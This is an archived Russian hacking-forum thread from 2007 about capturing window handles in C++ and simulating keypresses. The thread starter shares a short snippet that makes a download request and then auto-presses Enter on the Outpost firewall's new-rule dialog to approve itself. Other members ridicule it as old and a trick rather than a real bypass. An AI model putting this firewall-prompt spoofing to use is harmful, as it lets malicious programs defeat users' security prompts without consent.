PDA

Просмотр полной версии : Захват хендла окна (c++)


kotel
01.10.2007, 14:41
Изучил довольно много информации по хендлу.Планирую использовать в мирных целях,но думаю и для обхода фаеров пригодиться многим ;)

HWND hWnd;
hWnd = FindWindow("Класс приложения", NULL);
hWnd = FindWindowEx(hWnd, NULL, "Класс кнопки/строки и прочего", NULL);

if (IsWindow(hWnd))
{
// Кнопка найдена, работаем с ней
}

Код работает прекрасно,но ..вот пример:
HWND hWnd;
hWnd = FindWindow("Notepad", NULL);
hWnd = FindWindowEx(hWnd, NULL, "Edit", NULL);

if (IsWindow(hWnd))
{
keybd_event(VK_SPACE,0,0,0);
keybd_event(VK_SPACE,0,KEYEVENTF_KEYUP,0);


}

Работа с блокнотом,а точнее эмуляция нажатия кнопок SPACE,проблема в том,что программа (эмуляция) работает корретно,только в случае (!) если Notepad - является (!)активным окном.В противном случа нет.Вопрос,есть ли способы переключения активного окна?Гугль не помог.

LEE_ROY
01.10.2007, 14:53
попробуй SetForegroundWindow

groundhog
01.10.2007, 14:53
Во-первых, я не понял при чём тут обход фаеров? Во-вторых, в "мирных" целях лучше посылать асинхронные сообщения окну, тогда ты будешь точно знать, что это событие предназначалось именно тому, на кого ты расчитывал, а вот насчёт того, что гугль тебе не помог - это не отмазка. Мало того, что в MSDN это есть, так это и в гугле на первых позициях - SetForegroundWindow, SetActiveWindow, SetWindowPos, ActivateWindow. Дальше сам.

kotel
01.10.2007, 15:24
groundhog
я не понял при чём тут обход фаеров?
Обдумав 30 секунд набросал:


URLDownloadToFile(NULL, "http://url.succes.txt", "succes.txt", 0, NULL); //дразним оутпост

HWND hWnd;
hWnd = FindWindow("#32770", NULL); //находим окно создания правила
//для нового приложения


if (IsWindow(hWnd))
{
keybd_event(VK_RETURN,0,0,0);
//создаем правило:),по умолчанию задает ему как Web
//браузер.поэтому достаточно 1 нажатия :))

}

Палиться конечно (выводит сообщения,на переключение активного окна),но ведь за 30 секунд лучше не придумать :))

Во-вторых, в "мирных" целях лучше посылать асинхронные сообщения окну, тогда ты будешь точно знать, что это событие предназначалось именно тому, на кого ты расчитывал, а вот насчёт того, что гугль тебе не помог - это не отмазка.
Спасибо учту.Я не люблю отмазываться :).

так это и в гугле на первых позициях - SetForegroundWindow, SetActiveWindow, SetWindowPos, ActivateWindow.
Однако не имел понятия про подобные функции.Спасибо.Думаю теперь уже они не понадобяться :)

LEE_ROY
попробуй SetForegroundWindow
Спасибо пошел искать инфу.

Exile1985
01.10.2007, 15:42
Изучив много карт и глобусов, могу твердо заявить: земля КРУГЛАЯ!!!.
Я буду использовать эту информацию в мирных целях, хотя ею можно воспользоваться и в других менее мирных целях.

groundhog
01.10.2007, 15:51
Клацанье по кнопкам это не обход фаеров...

_Great_
01.10.2007, 16:20
Палиться конечно (выводит сообщения,на переключение активного окна),но ведь за 30 секунд лучше не придумать )
Ну боянище же это раз. Два - какой это нафиг обход?

GlOFF
01.10.2007, 16:28
Ну боянище же это раз. Два - какой это нафиг обход?

Ну так пинч же тоже по кнопочкам клацал, как бы "обходя" KIS и OUTPOST. Это не обход, это скорее обман :D

Ni0x
01.10.2007, 22:51
Наконецто пришел котел и раскрыл истину, я уж думал не дождусь. Теперь я тоже умею искать окна по FindWindowEx, проверять окна с помощью IsWindow и нажимать кнопочки по keybd_event. Бойся оутпост, пришло твое время.
Вообще, зачем создавать такие темы, мм? Пропалишь же тему..

Exile1985
02.10.2007, 09:11
Наконецто пришел котел и раскрыл истину, я уж думал не дождусь. Теперь я тоже умею искать окна по FindWindowEx, проверять окна с помощью IsWindow и нажимать кнопочки по keybd_event. Бойся оутпост, пришло твое время.
Вообще, зачем создавать такие темы, мм? Пропалишь же тему..

не говори как, мы, долгие годы молчали и никому не рассказывали об этом секрете, а ты вот взял и спалил всех нах.

Как скажи мне мы теперь будем обходить врейвол, ведь бравые бойци из агниума закроют эту дыру.

И как нам теперь быть!? Засрал малину?!